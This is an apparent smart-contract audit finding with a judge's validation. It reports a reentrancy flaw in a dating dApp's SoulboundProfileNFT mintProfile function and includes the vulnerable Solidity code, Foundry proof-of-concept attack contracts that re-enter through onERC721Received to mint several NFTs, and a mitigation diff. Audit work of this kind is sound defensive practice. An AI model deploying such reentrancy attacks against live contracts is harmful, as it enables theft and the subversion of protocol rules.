DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

`SoulboundProfileNFT::mintProfile` function does not follow the CEI (Checks, Effects, Interactions) pattern and has a reentrancy vulnerability

SoulboundProfileNFT::mintProfile function does not follow the CEI (Checks, Effects, Interactions) pattern and has a reentrancy vulnerability

Description

In the SoulboundProfileNFT::mintProfile function there is a _safeMint call to mint the soulbound NFT to the function caller. This is done before updating state for both the profileToToken and _profiles mappings. This does not follow the CEI (Checks, Effects, Interactions) pattern, and a malicious user could re-enter the function and pass the require(profileToToken[msg.sender] == 0, "Profile already exists") check at the top of the function. This allows users to mint multiple profile NFTs.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
// Store metadata on-chain
@> _profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood:

This will occur when a malicious user creates a contract that allows them to re-enter the SoulboundProfileNFT::mintProfile function.

Impact:

Users should only be able to mint one SoulboundProfileNFT per address, but this allows them to mint multiple.

Proof of Concept

Add the following test to your testSoulboundProfileNFT.sol file

function testReentrancyAttack() public {
ReentrancyAttack attackContract = new ReentrancyAttack();
vm.deal(user, 1 ether);
vm.prank(user);
attackContract.attack(address(soulboundNFT));
assertEq(soulboundNFT.ownerOf(1), address(attackContract));
assertEq(soulboundNFT.ownerOf(2), address(attackContract));
assertEq(soulboundNFT.ownerOf(3), address(attackContract));
assertEq(soulboundNFT.ownerOf(4), address(attackContract));
}

And add this contract:

contract ReentrancyAttack is IERC721Receiver {
SoulboundProfileNFT targetContract;
uint256 mintCount = 0;
function attack(address _targetContract) public {
targetContract = SoulboundProfileNFT(_targetContract);
targetContract.mintProfile("Alice", 25, "ipfs://profileImage");
}
function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
mintCount++;
if (mintCount < 4) {
targetContract.mintProfile("Alice", 25, "ipfs://profileImage");
}
return IERC721Receiver.onERC721Received.selector;
}
}

Recommended Mitigation

To mitigate this it's recommended to move the _mint call inside SoulboundProfileNFT::mintProfile below the state updates for profileToToken and _profiles.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
+ _safeMint(msg.sender, tokenId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!